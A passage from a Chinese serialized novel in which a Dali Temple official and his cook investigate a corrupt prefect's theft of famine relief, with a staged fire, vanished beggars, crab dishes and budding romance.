段文德摇头,“尸骨都没找到,哪来的证据。” 韩泽:“没有证据也没有证人便不能证明乔度年是阚知府所杀。” “绝对是他。”段文德很激动:“卑职曾往京城发过公文,但都被知府扣下,阚永明还派人过来警告,若不是卑职朋友从广南回京城,路过巴县过来探望,我那封血书也送不到京城。大人,我说的句句属实,绝无半点欺瞒,大人您要为巴县百姓做主,为度年兄报仇啊。” 韩泽:“段大人莫急,陛下派我来就是要查明此事,你所说若属实,本官必定会让真相大白于天下。” 众人在县衙安顿下来,韩泽对姚轻雪道:“我要去下面走访,若觉得累你就在这里休息,让曹叔陪你。”不能光听段文德一片之词,得听听下面的百姓怎么说。 “我和你们一起去。”姚轻雪放下包袱,把小匕首揣在怀里。她虽帮不上忙,但也不想成为累赘。 十人分成了三组,分别去不同的地方。姚轻雪与韩泽和曹叔高飞去了远离县城的西塘村。村头一户人家门外坐一老者,目光望向田野。走近了他们才发现老人目光呆滞、眼珠昏黄,根本就什么都看不见。 姚轻雪走过去:“老伯,我们路过此地,想跟您老讨碗水喝。” 老人迟疑片刻,慢慢站起身往院子走,高飞上前搀扶老人。“老人家,您这房子真大,家里几口人啊,看您这岁数当是儿孙满堂了。” “哎!”老人的叹气声沉重,像是有千斤重量压在身上。“房子大有什么用?都死没了,儿孙满堂?哼,去年还是,今年家里没几个人了。” 他们在院里等,老人进灶房端了一碗水出来,他小心翼翼的样子像是端着什么珍贵之物。韩泽接过碗,把水慢慢倒在院中的石头上,水落石上的声音十分清晰。 老头侧着耳朵听,明白发生了什么后,怒气冲冲往石头的方向奔来,“水、那是水,为何要倒掉?知不知道那是救命的啊。” 高飞赶紧把老人拉住,“老人家,一碗水而已,何必生 这么大的气,碗里进了虫子,您再给我们端些便是。” “没有,你们走,我家里没有水给你喝。”老头去墙边摸了扫把就往外赶人。 高飞和和姚轻雪赔礼道歉,才把老人安抚住。老头怒气消了,他把扫把往地上一扔,人也坐到地上。“你们这些后生啊,去年夏天我要是有这碗水,我家老婆子和我那三岁的孙子也许就不会死了。你当我老头子天生瞎?是去年哭瞎的。先是没水后来没粮,天旱的草都不长,什么吃的都没有,叫天天不灵叫地地不应……” 老头自顾自说着,几人静静听着。出了村子韩泽站在村口向远处望去,眼前是望不到头的庄稼地,金黄的稻穗压弯了稻秆,一派丰收景象。谁能想到去年,就是在这片充满生机的土地上渴死、饿死了那么多人。 一天走下来,得到的结果几乎与南塘村的老人说辞一致。晚上其他人回来得到的信息也大体相同。 “若是没有亲眼见到,属下实在不敢相信。”杜七心情沉重地说道,“今日走访的几个村子都有空房,去年旱灾有的全家一个不剩。” 韩泽可以确定朝廷发放的赈灾粮只有少数发到百姓手中,严州知府贪墨属实,仅凭巴县的情况便可以将严州知府定罪。“明早出发去严州府城。” 拿到巴县县令段文德、县衙官员及百姓的证词,次日一早韩泽带人直奔严州府城。 离开时,段文德提醒韩泽:“卑职知道韩少卿身份与我等不同,但您现在严州地界,还请万事当心。” 韩泽冷冷道:“我倒希望他有那个胆量。” 回去时特意加快步伐,仅两日便到严州城。 一行人刚到严州城外,就看见城门口有一队人马。韩泽并不认识严州知府,但他敢肯定为首的那男就是阚永明。 第50章 第50章严州府 严州知府率人在城外迎接。 姚轻雪纳闷:“大人,您给严州府衙送信了吗?不然他们怎么知道我们今日到?” 韩泽冷笑:“怕是我们刚到严州,阚永明便得到了消息。” 官员之间盘根错节,县令段文德在京中都有能为他递状子的友人。何况是与宁王和刑部都有关系的严州知府阚知府。 “那岂不是我们去过巴县他也知道?”姚轻雪心里一惊。 “知道又如何?意料之中不必大惊小怪。”韩泽走下马车。 阚永明见人下来,脸上立马堆起笑,拱手迎过来:“严州知府阚永明恭迎韩大人。” 官位等级上阚永比韩泽官职大,但韩泽是陛下钦点,虽未冠以钦差之名,但拥有的权利与钦差无异。阚永明不得不弯腰低头。 韩泽颔首:“阚大人客气了。” 两人打了会儿官腔,阚永明扫了一眼韩泽身后,“大人此行只带了八人?” “九人。”韩泽似笑非笑:“贵地螃蟹甚是美味,我那不争气的手下贪嘴吃多了蟹子,这会儿正在客栈里躺着呢,不日便会赶来,让阚大人挂心了。” 姚轻雪终于意识到他们从渡口下船怕是就被盯上了,不然这知府不会知道他们来了十个人,她看了一眼韩泽。韩大人神态自若、从容镇静,让人看不出他心里在想什么。 “原来如此。”阚永明笑得十分和气,“既然如此,韩少卿便随我进城吧。阚某为众位订了客栈,也备好了饭菜。” “不必麻烦。”韩泽严肃地看过来,“阚大人应知韩某来此所为何事,还是低调些好,就住府衙吧。” “好好,就听韩少卿的。”阚永明笑容有些僵硬,看得出来他十不愿意让韩泽住进严州府衙。 “劳烦阚大人前面带路。”韩泽转身上了来时的马车。 “是!”阚永明转过身时,脸上的假笑立时消失。 一行人来到严州府衙,韩泽以在路上用过午膳、人乏累需要休息为由,谢绝了阚永明午膳的邀请,于是有人领他们去了住处。 姚轻雪打量着府衙,心里觉得奇怪,等进了房间放下包袱,她不解地问:“严州府衙怎么会这么破旧?” 好歹是府衙,怎么地也不至于残砖断椽吧。跟姚家老房子没修之前差不多,屋檐破损,这可不像是贪官办公居住的地方。 要不是他们刚从巴县回来,亲眼见到、亲耳听到去年百姓何等凄惨,眼前的情景一定会让人觉得阚永明勤俭节约。 高飞道:“刚刚我故意将果子掉在地上,蹲下来捡时仔细瞧了地砖,断面很新,像是故意敲断的。” 韩泽冷笑:“想必房上的断檐碎瓦也不是因为年久失修。” 杜七:“看来这满院颓唐是专程为我们准备的。” 时间尚早,韩泽不能干等着,稍作休息后他要去会会那阚永明,但不可能把八个人全带着,又不是去打架,于是让姚轻雪出去玩,曹叔和杜七陪着。来时答应让她游玩,不能言而无信。 姚轻雪乐得如此,她就是个厨子,大理寺查案跟她没有多大关系,离危险远点比较好。 三人出了府衙,往严州府最繁华的街市走去。路上杜七买了包开口栗子,姚轻雪抓了几个在手里边走边吃。 曹叔吃了一个:“这边的栗子比京城的甜。” 杜七:“想来是这里比京城温暖湿润的缘故。” 南雀街商铺众多,人头攒动。小摊小贩也聚集在此,有些新鲜玩意京城没有,姚轻雪看得眼花缭乱,给芽芽买了珠花、手串,给奶奶买了一条珍珠璎珞。这边离海不远,所以珍珠要比京城便宜很多。 杜七问她:“给家人都买了,你自己的呢?” “我就算了。”姚轻雪把东西装进荷包里。倒不是她不喜欢,而是她每日都要下厨,带首饰不方便做事,而且银子她得留着花在刀刃上。 “丫头,别心疼银子,有喜欢的给自己也买。”曹叔拿出钱袋子,“银子曹叔这有。”他知道姚轻雪一向节俭,不给自己买多半是舍不得花银子。 “谢谢您曹叔,这些款式我都不喜欢。”姚轻雪婉拒曹叔的好意。 杜七对曹叔悄声说:“改天让韩大人陪姚厨娘出来逛逛。” 曹叔一看杜七的眼神就明白了他的意思,他把钱袋子揣进怀里。心想等无人时得提醒少爷,不然他家少爷不见得会想到给姑娘买首饰。 三人走走停停,走着走着姚轻雪突然问:“曹叔!小七哥!你们有没有发现什么不对的地方?” 两人左右看了看,然后都摇头。 “乞丐。”姚轻雪道。“京城最繁华的街上都有乞丐的身影,但这里没有,你们不觉得奇怪吗?” “嘶!”杜七眯了眯眼,还真是。从进严州府城开始他就没见过乞丐。从府衙一路走来也是一个没有。繁华之地最好讨要钱财,所以最不缺的就是乞丐,然而眼前一个乞讨的人都没有。怪,太怪了。 曹叔:“会不会是严州府治理得好,无人乞讨。” 杜七摇头,“去年刚遭了大灾不可能没有人乞讨,即便没有本地人以乞讨为生,也会有外来流民。”严州府没富到无人乞讨的地步,大卫也没有强到没有流民的程度。 “打听一下就知道了。”姚轻雪走到路边买枣子,她边挑拣边与卖枣的妇人闲聊:“大娘!咱们这地方真是好啊,连个乞丐都没有,街上干干净净的。” 妇人四处望了望,“听你这么一说,我也是才注意到乞丐都跑哪儿去了?前几日还满大街都是呢。” 竟然是突然之间悄无声息地消失了。姚轻雪道:“我还以为严州富裕,压根没有乞丐呢。” “这世上哪个地方没有乞丐,皇宫门口也有人乞讨。”妇人道,“听你口音不是本地人吧,严州去年遭了旱灾,乞讨之人数不胜数,今年春才逐渐少了,但也比往年多,大多是无家可归的老人和孩子,不讨饭活不下去啊。” 姚轻雪付了钱,抱着一兜枣子往前走。“果然有猫腻,应该是知府怕韩大人与乞丐们撞见,就把人都赶走了。” “咔嚓。”杜七啃了一口又甜又脆的枣子,“若是赶走那还是好的,就怕、” 姚轻雪听出了他的意思,心跟着一颤,“不能这么残忍吧?” 杜七没有说话,这世上多得是披着人皮的畜生,人命在他们眼里分文不值, 甚至不值他家里一株花草,这种人他在大理寺见得不少。 有了这种猜测,姚轻雪没有心思再逛下去了。从南雀街出来,三人又去别的地方走了走,均没有看见乞讨之人。 三人大包小包买了不少果子和零食,回到住处就看见韩羽对着一筐蟹子愁眉苦脸。 原来是因为城门口韩泽的托辞,阚永明派人买了一筐蟹子给他们,膳房的人过来问他们怎么吃。韩羽说他们吃不惯本地做法,自带了厨子,等厨子回来自己料理,这才把人支走。 这些人是韩泽手下,可没有座上宾的待遇。韩大人被阚知府请去吃席,韩羽几个却要在这里啃蟹子,问题是他们压根不爱吃,想想都可怜。 姚轻雪腹诽韩大人你说你编个什么理由不好,偏偏说爱吃蟹,若是不把这筐蟹吃完,知府就知道你在说谎了。 “我来做吧,每人分几只。”今日她买了茱萸和花椒,可以做一道香辣蟹。 府衙膳房早就把几人的饭菜送过来了,但大家谁都没动筷。都等着姚轻雪做螃蟹,不喜欢归不喜欢,但得尊重姚厨娘的劳动。 客房旁有小厨房,曹叔烧火,两人配合,没用多久便做出清蒸蟹、香辣蟹、香煎蟹、葱姜炒蟹。四个大盘子端上来,众人吸了吸鼻子,闻着挺香。 众人落座,曹叔和杜七拿起螃蟹开吃,出自姚厨娘之手的东西绝对不会难吃。杜七对香辣蟹情有独钟,曹叔喜欢清蒸的。其他人见他俩吃得津津有味,也都伸出手。第一只吃得都不太情愿,主要是剥壳子麻烦,他们都不是细心之人,耐着性子吃完一整只后便忍不住拿了第二只。 姚轻雪闷头吃了四只大螃蟹,再伸手拿时四个盘子空了!再看其他人,个个面前一堆蟹壳,说好的不喜欢吃呢? 螃蟹这东西,就是第一次吃可能不喜欢,但越吃越上瘾。他们吃完没多久韩泽就回来了。杜七道:“大人,您怎么这么快就回了?” 高飞跟在韩泽身后进来:“阚永明那只老狐狸,光看他惺惺作态大人就饱了。还有吃的吗?我饿了。”身为随从他只能站一边看韩泽与阚永明虚情假意,一点菜没捞着吃。 曹叔起身:“我去问问姚厨娘。” “我去吧。”韩泽转身往外走。高飞抬起的脚又落了回来,他跟过去是不是不大合适? 韩泽来到灶房,姚轻雪正在低头挑蟹肉,她面前的盘子一少半蟹黄,一大半蟹肉,都快把盘子装满了。 “弄这个做什么?” 姚轻雪抬头:“你吃饱了?” “没有。”韩泽摇头,搬了门旁的小凳坐到她对面。先不说饭菜合不合口,就是面对阚永明他也难以下咽。 “府衙膳房送来的米饭很多,等会儿我做蟹黄炒饭。”姚轻雪低头继续挑蟹肉。 韩泽嘴角噙着一抹笑意,他一手拄着下巴安静地看眼前之人认认真真挑蟹肉。“伤着了?” 姚轻雪伸出左手食指,上面有个小小的红点,“让蟹壳扎了一下,不碍事。” 剥完最后一只蟹腿,姚轻雪要去生火,韩泽说他去,姚轻雪问:“韩大人会生火?” 韩泽弯腰低头往灶膛里添了点柴,“别说的我跟废物一样。” “是是,您不是废物,是顶顶厉害的韩大人。”姚轻雪促狭一笑:“劳烦韩大人再多添把柴,火不够旺啊。” 韩泽嗔她一眼,低头又往灶膛里填了把柴。油温五成热,姚轻雪把蟹肉蟹黄倒进锅里翻炒,炒出香味后放米饭继续炒。 高飞吃着自己碗里的,悄悄瞄韩大人碗里的,他总觉得韩少卿的蟹黄比他的多,看来姚厨娘区别对待啊。高飞一边腹诽,一边大口吃着浓郁鲜香的蟹黄炒饭。 把韩羽等人看得又饿了,但他们刚吃完,不好意思厚脸皮要尝一口。 杜飞把今日他们三人出去发现的情况说给韩泽和其他人听。 姚轻雪:“有巴县县令和百姓的证词,为何还要与阚永明虚与委蛇,直接抓了不行吗?”【你现在阅读的是 】 50-60 第51章 第51章走水 韩泽给她解释:“光有巴县县令和百姓的证词不够,最为关键的账本没有找到,只凭证词定不了阚永明的罪,他可以反过来说巴县县令栽赃陷害,谁都有嘴,没有关键证据,怎么说都行。” “可是谁贪污会留下账本给你查啊?”姚轻雪想不明白。 “谁说我要查账本了?”韩泽吃掉最后一口蟹黄炒饭,他放下筷子拿出帕子擦了擦嘴,“我要三方对账,每一笔款项的去处都要他严州知府当面给我说清楚。” “不急。”韩泽戏谑地看向他家厨娘,徐徐说道:“百花巷时你不是想看戏吗?等人到齐后,本少卿请你看一出严州府的大戏,保你终生难忘。” 韩泽嘴角擒着笑,眼里却寒光闪动,笑容里有一丝不屑又有一抹雀跃,仿佛一切都在他的掌控之中。 姚轻雪心跳像是漏了一拍,她见过韩泽饿肚子时的臭脸,发脾气时的愠怒,一本正经时的严肃,在家养伤时的懒散,却唯独没有见过他办案时的镇定自若胸有成竹,是与平日截然不同的魅力。 这怦然心动的感觉,姚轻雪一捂心口,或许这趟她就不该来啊!她赶紧端了碗筷去厨房,远离让她着迷的源头。 姚轻雪烧了热水烫脚,韩泽他们说完公事也都洗洗睡了。前几天一个村子一个村子地走访,后来又马不停蹄地赶路,大家都很累。 夜里姚轻雪睡得很沉,就在她睡得正香时,突然“嘭”的一声房门被人从外面撞开。她还没醒过来,就被人用被子卷吧卷吧抱到了屋外。 等姚轻雪从被子里冒出头,就看见她的房间火光冲天。而一旁的灶房都快烧空了,姚轻雪的房间在灶房边上,看样子火是先从灶房燃起的。 姚轻雪吓傻了,被韩泽裹着被子抱在怀里都没发觉。很快远处传来嘈杂声,严州府衙终于发现客房走水,一群人提着水桶过来灭火。 “大人!姚厨娘!”高飞及时出声提醒。 姚轻雪这才发现自己被韩泽抱着,她挣扎着下来,她没穿鞋,只能光着脚站在地上。好在严州府的秋天还很热,即便光脚踩在地上也不觉得凉。 这时阚永明姗姗来迟,他见到韩泽连连告罪。“对不住韩大人,没想到会发生这种事,诸位都没伤着吧?对不住、对不住,府衙年久失修,走水不是一次两次了。” 其他人都没吭声,虽然他们都没有严州知府官大,但好歹是陛下派来的,第一晚就差点被人烧了,谁心里没有点火气?但韩泽都没说什么,他们不敢造次。 韩泽面无表情:“阚大人!虽是秋干物躁,但这火起得太过蹊跷,若不是本官了解阚知府为人,倒是要多心是不是有人想杀我灭口了。” 阚永明面色一僵,显然没料到韩泽会这么直接。他讪笑道:“大人说笑了,本官走得正、行得端,万不会做那种事。”他转头怒喝手下:“还不快去查因何起火?给韩少卿和大理寺众人一个交代。” 韩泽等人穿着里衣站在院中,看着火被一桶桶水浇灭,等着去查起火原因的人回来。那人进灶房走了一圈,回来后看一眼裹着被子的姚轻雪。拱手道:“启禀大人!火是从灶房燃起,想必是晚上生火后没有清理好灶门,火星溅到柴上,这才导致大火发生。” “不可能,灶膛里没有火,如何烧得 起来?“姚轻雪开口反驳。身为一个厨子,用火时她非常小心,昨晚烧完水她特意搅了灶膛里的灰,让火灭的快一些,还把柴移到远离灶膛口的地方,即便灰里有火星子跑出来也沾不到柴堆,确定不会有问题她才回房睡觉。 “再小心也有疏忽时。”阚永明淡淡道。 姚轻雪还想说什么,韩泽轻轻拍了拍她的后背,姚轻雪只好闭嘴。 韩泽上前几步,把披头散发的姚轻雪挡在身后。“府衙可还有别处供人居住?” “对不住,韩少卿,府衙条件简陋您也瞧见了,客房就这么几间。”阚永明提议,“不如请大人和众位去外面住两日,等这里收拾好各位再搬回来。若各位不愿去外面,我就把卧房腾出来,韩少卿您看如何安排?” 如何安排?韩泽还能住他卧房不成。“去外面吧。” “多谢韩少卿体谅,多谢各位体谅,对不住,对不住。”阚永明拱手致歉,“阚某这就去安排住处,各位稍等片刻。” 阚永明走了,灭火的衙役也陆续走了,只留下几根火把插在木桩上。韩泽点了点头,高飞和杜七往烧空了的灶房走去,其他人则回屋收拾东西。 姚轻雪跑到自己的那间房门口,屋里一片狼藉,地面上一汪汪小水洼,床幔都烧了大半,她放床头的包袱和衣服连渣都不剩。 姚轻雪这个气,把她衣服银子烧了,还让她背锅,阚永明那个王八蛋,专挑软柿子捏啊。她的银子,在船上辛辛苦苦做了那么多人的饭,好不容易赚点辛苦钱,一把火都给烧了。 哎,不对,银子和铜板应该还在,姚轻雪抬脚就想往屋里进,韩泽把人拉住。“你做什么?” “我银子。”姚轻雪急道,她把身上的被子往韩泽身上一扔,还要往里冲。 韩泽哪里敢让她进去,姚轻雪穿着短小的里衣,她往前奔,韩泽在她身后伸手拦人,一手就伸进姚轻雪的里衣里了。 皮肤接触的瞬间,两人都像是被烫了各自后退。手掌接触的地方分明是凉凉的触感,但韩泽却觉得他的指尖到掌心像是被火烧过一样烫。他把手背到身后,一本正经道:“里面危险不能进去,衣服天亮出去买,银子多少我赔你,听话。” 姚轻雪两手拽着里衣,半晌才心不在焉地“哦”了一声。若是白日韩泽一定会发现他家厨娘脸红得像红苹果,可惜是夜里韩大人瞧不见。 韩泽松口气往自己房间走,他房间就在姚轻雪隔壁,所以才会及时发现走水,把隔壁沉睡的人抱出来。 韩大人走了几步发现姚轻雪站那不动,他道:“过来,先穿我的衣服将就一下,等天亮了再去买衣服。” 姚轻雪还是没动,刚刚被韩泽摸过的地方还在发烫,她不想跟他共处一室。 韩泽:“脚不凉?还是你想穿里衣出现在别人面前。” 姚轻雪看看自己光着的脚和半截的里衣,这样没法出去。她捡起刚扔掉的薄被裹在身上,慢吞吞往隔壁走。 十几步的距离愣是让她走出跋山涉水的感觉,韩泽衣服都穿好了,才看见他家厨娘蜗牛一样出现在他房门口。敢往刚着过火的屋里冲,不敢来他房间? 韩泽拿出自己的衣服放在床上,“你穿着可能有点大,若不想穿,我去找阚永明要府中侍女的衣服。” “算了,我不想穿别人衣服。”姚轻雪裹着被子迈步进来。 不想穿别人衣服?那他不是被人喽。韩泽勾了勾嘴角,然后又努力把嘴边的笑意压下去。他走到门边屈指一弹,在闷闷不乐的人脑门上弹了一下。 姚轻雪噘着嘴瞪他:“干嘛?”她不够惨吗?还欺负人。 “用不着气,晚上咱们确实用过灶房,有口难辩。他想赶我们走,不是走水也有别的办法,争一时之快没有多大意义,我们走就是。” “我的衣服、银子、还有白日刚买的珠花、手串全都没有了。我能不气?” 韩泽叹气:“都说了我赔给你。” “那不一样。”姚轻雪嘟囔,“你赔也是我们的损失,合该让他们陪。” 韩泽解下腰间的钱袋放到她手里,“一点银子不值得生气,换好衣服出来,天亮之前我们离开。” 拿着钱袋姚轻雪心情好了一点点,她走到床边拿起韩泽的衣服比了比,好大啊,“我觉得杜七的衣服我穿更合适。” 韩泽太高了,姚轻雪穿他衣服就跟小孩儿穿大人衣服差不多。杜七在这群人里个头最矮,比姚轻雪高一个头,穿杜七的衣服一定比穿韩泽的衣服合适。他们这趟来短时间回不去,所以每人至少带了两套衣服。 “不行,杜七已经娶妻,你穿他衣服不合适。就穿这件凑合吧。”韩泽走出房间把门关上。 姚轻雪纳闷,她只想借一身合适的衣服,跟人家成没成亲有什么关系?算了,反正也就穿个把时辰,大就大吧。 等姚轻雪穿着大几号的衣服出来,其他人已经背好包袱在外面等了。杜七道:“我们这些大男人却没护住一个姑娘,姚厨娘受委屈了。” 姚轻雪提着衣服下摆走过来,“那也没办法,房间是我自己选的。”那间房离灶房最近,她就选了那里。要不是韩泽把她抱出来,或许得等火烧到床边她才能知道,现在想想都后怕。 衙役赶三辆马车将人送去府衙外的一处宅子,距离府衙有两刻钟的路程。等到了住处天已经开始放亮。 宅子挺大,住他们这些人绰绰有余,阚永明安排了小厮和侍女伺候。各自找好房间,放下东西后众人齐聚到韩泽屋内。 高飞小声道:“灶房我们看了,起火点确是灶膛口,灶房已经被他们弄得不成样子,但还是能看出来灶房与姚厨娘共用的那面墙上有一条很重的痕迹。灶房门窗都没了,再加上风吹,里面已经闻不出什么味道,属下猜测可能是用了豆子油把火一路引到姚厨娘的屋顶。” 杜七拿出一把烧成黑色的匕首放到桌上,“姚厨娘的衣物都烧没了,现场也没找到银子铜钱,只找到了这把匕首。” “烧没了?”姚轻雪疑惑,银子烧化了有可能,但不能没有吧?还有铜板,火也烧不化啊? 高飞:“想来是被灭火的人顺手牵了羊。” “怎么能这样?”姚轻雪这个气,烧她房间,她背锅,最后还把她银子拿走了,“严州府就没有一个好东西。” “嗯,上梁不正下梁歪,都不是好东西。”韩泽附和道,“银子早晚替你讨回来,你先去把衣服买了。” 杜七自告奋勇要去给姚厨娘买衣服。姚轻雪这一身也不好出门,便同意了。 半个时辰后杜七买回来一件大红裙子,姚轻雪的表情一言难尽。每个人都有喜好的颜色,大红过于刺眼和夸张,会让她感觉不自在,她更喜欢素雅清淡的颜色。“七哥,你喜欢红色?还是嫂子喜欢红色?” 杜七:“你嫂子说红衣显贵气、衬肤色,怎么样?我的眼光不错吧。” “呵呵,不错,多谢七哥。”姚轻雪心里腹诽,要不怎么说不是一家人不进一家门呢。杜七和他媳妇的审美令她不敢苟同。 韩泽忍笑,他就没见过他家厨娘穿这么艳的衣服,今日见见也无妨。姚轻雪无奈拎着衣服回房换上,大小合适,料子也不错,除去颜色其他什么都好。 等她换完衣服过来,几个男人都瞪大了眼。高飞摸着下巴道:“姚厨娘,你合该穿些鲜亮的衣服,很好看。” “我的眼光不错吧。”杜七甚是得意。 这一抹炙热的红,如同燃烧的火焰,瞬间了点燃了某个男人的激情。韩泽攥了攥手,他的手似乎又开始灼烧起来。他想用这手量一量那纤细的腰肢,碰一碰白皙的脸庞,他更想将这朵娇艳欲滴的花朵摘于掌心。 然后不合时宜,韩泽只能将这份突如其来的欢喜压下去。 第52章 第52章是他不配“精致”吗?…… 早膳是严州知府派人送过来的,韩羽怕他下毒,想拿银针试。 “你想多了,咱们死了,阚永明一样活不了。”高飞夹了块鱼肉放进嘴里:“毒杀钦差是要掉脑袋的,阚永明不傻,不会明着做。只是他为何急着要咱们离开府衙呢?” 这一点韩泽也想不通,这座宅子到府衙不过两刻钟的车程,短短两刻钟还能阻止他查案不成? 姚轻雪咬一口蟹黄包,浓浓的蟹黄香让她幸福地眯起眼睛。阚永明大概真以为他们这群人喜欢吃蟹。蟹黄包、螃蟹粥、蟹肉羹,清蒸蟹,一大早就给他们准备了蟹宴。“我猜是知府后院的金银财宝没来得及转移,咱们住那他不方便,所以才要放火把我们赶出来。” 韩泽看她一眼,眼底闪过一抹笑意,他家厨娘什么事都能跟银子扯上关系,妥妥的财迷一个。他们来之前阚永明就已 经得到消息,银子要转移也早转移走了,不必等到现在。姚轻雪不是衙门中人,这些自然不必跟她详说,韩大人随手给她夹了一个包子:“你说的对。” 姚轻雪盯着他骨节分明的手,突然想起今晨就是这只手猝不及防摸了自己的肚皮,姚厨娘脸上一热,赶紧晃了一下脑子,不能想、快忘记、是意外。 韩泽:“脸怎么红了?很热?” “粥有些烫。”姚轻雪避开他的目光。 姚厨娘一身大红衣服,此时脸蛋红扑扑,整个人看起来分外可口。杜七眼观鼻鼻观心,若是只有两人在,韩大人不得端起碗来给姚厨娘吹吹?下次要不还是分开用饭吧,这么多人在一起大家大人施展不开。 有人心细,便有人大条,“这小包子忒小。”李圭一口一个包子,才多大会儿他面前的盘子下去了一大半。 “这叫精致。”高飞嫌弃道:“你是野猪不知细糠香。” “我是吃不了细糠。”李圭满不在乎,“还不如姚厨娘做的腊肉饭、香辣鱼过瘾,汤汤水水的总觉得吃不饱。” “我做的那叫大锅饭,比不上这些精细,蟹子光剥壳就要费不少事。”姚轻雪一口蟹肉粥、一口包子,再吃一口鱼肉。不用自己动手就能吃到这些好东西,她很开心。 韩泽突然道:“我突然发现你没有给我做过这么精致的东西。”大盘盛大碗装,甚至还用盆给他盛过菜,包子也是拳头大小一个,是他不配“精致”吗? 姚轻雪眼神躲闪,小声道:“您不挑。”韩泽虽然挑食,但不挑她的食,所以她也就没在味道之外特别费心思,以饿不着韩大人为主。 杜七心道第一次有人说韩泽吃饭不挑,真是活见鬼了。 韩泽挑眉:“你的意思是我很好养活?” 姚轻雪觉得,韩泽这么问是想在手下面前、让她这个厨子证明他韩大人不挑食,杜七说过韩大人吃不好大理寺人人都躲着他走,便顺了他意。“嗯,您很好养活。” 众人都诧异地看她,姚轻雪一脸无辜,心道我不顺着他说,韩大人也不给我好脸色好。你们怕他,我也怕啊。几人打着眉眼官司,只有韩泽心情很好,多喝了半碗粥。 早饭后不久,阚知府又派人送来不少肉菜和瓜果梨桃,还有两套丝绸长裙,显然是给姚轻雪的。 姚轻雪:“看来知府大人对走水之事颇为歉意。”送这么多东西,她都不好生气了。 “这些不适合你,放着吧。”韩泽不打算让姚轻雪穿这些衣服:“出去走走吧。” “唉?您不去查案吗?”姚轻雪不解,怎么到了严州府韩泽反而不急了呢。 韩泽:“还不到时候。” 曹叔和李圭等人嫌累不去,韩泽带上杜七、韩羽、高飞和他家厨娘出门了。 严州府衙内,关良道:“大人,韩泽带人出去逛了。” “没来府衙?” “没有。”关良道,“韩泽从巴县赶回来既不问责,也不查账,如今连府衙都不来,他到底想干什么?” 阚永明眉头不展,他也摸不准韩泽葫芦里卖的什么药。 “要不要把韩泽的住处和行踪告诉那个女人?” “不行。”阚永明摇头,“不到万不得已不能走那一步。”若是韩泽不深究对他构不成威胁,那便罢了,若是这位大理寺少卿咬着他不放,那么就别怪他心狠,人死在严州府也跟他没有关系。到时候诛灭逆贼余党,陛下说不定还有赏呢。 “走的那个回来了没有?”阚永明对韩泽突然消失的那名手下一直很在意。 “没有,不过大人放心,近日进出府城的人都严格检查,即便韩泽有什么手段,在严州府他也使不出来。” “不能大意。”阚永明严肃道,“韩泽年纪轻轻做到大理寺少卿,不全是因为他是镇远将军府嫡子。”光是今年他就抄了几个朝中大员的家,陛下对他十分信任,京城来信让他加倍小心,韩泽软硬不吃,不好对付。“让人盯紧韩泽和他那几个手下。” 到了街市姚轻雪直奔成衣铺,先给自己买了套称心的衣服换上。随后韩泽带她进了首饰铺,打算把烧掉的珍珠首饰给她补上。姚轻雪不贪,只挑了三件,而且跟摊上价钱差不太多。 杜七提醒:“大人,您觉不觉得姚厨娘头上有些空?” “不止头上空,手上、脖子上都很空。”高飞一本正经道。 韩泽这才反应过来,姚轻雪买的珠花、首饰是给家里的奶奶和妹妹的。他给了杜七一个赞许的眼神,不愧是娶了妻的人,心思就是细。“你自己选几件。” “不了,咱们才来两天,银子得省着点花。”姚轻雪不要。虽然吃住都有严州府管着,但穷家富路,人在外面手上得充裕些,万一有个意外上哪里弄银子去。另外,韩泽是不差银子,但她没有理由要他东西。 韩泽越过姚轻雪,对店主道:“把你们店最贵的首饰拿来。” “好嘞!”店主笑的眼睛眯成一条缝,赶紧把镇店之宝拿出来——一套梅花式样珍珠翡翠头面。顶簪、鬓钗、挑心、耳坠、花钿等,看着得有二十几件。 姚轻雪还没数完数量,店主又拿出一条璎珞,主石珍珠、翡翠配以南红玛瑙,雅致又贵气。哪有女人不喜欢首饰的,姚轻雪一见便移不开眼。一问价钱她瞬间冷静下来。两千两?她全部身家也不值这个钱。“不买。” “喜欢就买下。”韩泽拿出银票就要给店主,姚轻雪眼疾手快给夺了回来。 “抱歉!我不喜欢,麻烦收起来吧。”姚轻雪拽着韩泽往外走。走到门口就听店主嘟囔。“傻姑娘你给男人省,转头他就给别的女人买喽。” 韩泽:“……” 姚轻雪暗自腹诽他爱给谁买给谁买,等出了门,她把银票还给韩泽。 韩大人不解:“不喜欢吗?”他家厨娘的样子明明是喜欢的,为何不要?又不用她出银子。 “喜欢,但用不着你买。”姚轻雪转头就走,走了几步她又返回来对韩泽道:“谁家给厨子买这么贵的东西?”说完她又走了。 几个男人面面相觑,韩泽问:“她是不是生气了?” 高飞点头:“是不大高兴。” “为何生气?”韩泽纳闷。 杜七以过来人的口气说道:“女人的心情就跟三四月的天气,一会儿雨一会儿晴,捉摸不透的。” 没成亲的几个男人都恍然大悟,高飞没什么正经地对上司道:“大人,看来您还不够了解姚厨娘。” 韩泽轻飘飘看他一眼,快步追了过去,高飞摸摸鼻子,转头问杜七:“我说的不对?” “先别看大人笑话。”杜七拍拍他的肩膀:“你早晚也会有这一天。” 追上姚轻雪,韩泽问:“不喜欢不买便是,气什么?”韩家库房里多的是首饰,等回京让她去家里随便挑。 姚轻雪咬牙,她是不喜欢吗?她是气自己身份不够、银子不够、样样都拿不出手,偏还心存一丝奢望,她恨自己不争气。还有韩泽真当她是财迷?姚轻雪加快脚步把人甩在后面。 韩泽看着气呼呼的背影一头雾水,怎么气更大了?他没说什么吧? 姚轻雪走得快,一个不查与卖 果子的老汉撞到一起。果子撒了一地,有的被路人一脚踩碎。老汉操着本地口音,扯住她的袖子不放:“赔我果子、你赔我果子,我老九指着这些果子卖钱瞧病呢。” 姚轻雪看看拽自己袖子的手,再看看一脸褶子的老汉。 “赔、赔。”杜七赶忙过来扯开老汉,“老人家,多少银子赔给您就是,怎么能扯姑娘的袖子呢,为老不尊啊。”他絮絮叨叨跟老头讨价还价,最后老汉答应半钱银子了事。 姚轻雪小声对韩泽道:“这人不对。” 韩泽低声说:“回去再说。” 姚轻雪领会了意思,她把脚一跺:“好端端折了半钱银子,晦气,不逛了。”她往宅子的方向快步走,其他人只好跟着。 第53章 第53章装虚弱 回到宅子关上房门,杜七对韩泽道:“陈九说受灾几个县的县令都已在来的路上,最迟三日便可齐聚严州府。另外,我们的人扮成乞丐还不等进城就被府衙抓了,所有乞丐都关在城外五里的一处山洞里。” “做得好!”韩泽脸上露出笑意。 姚轻雪诧异:“卖果子的那个老汉是陈九?” “姚厨娘看出来了?”杜七有些意外,要不是他们有暗号,他也很难看出乔装后的陈九。 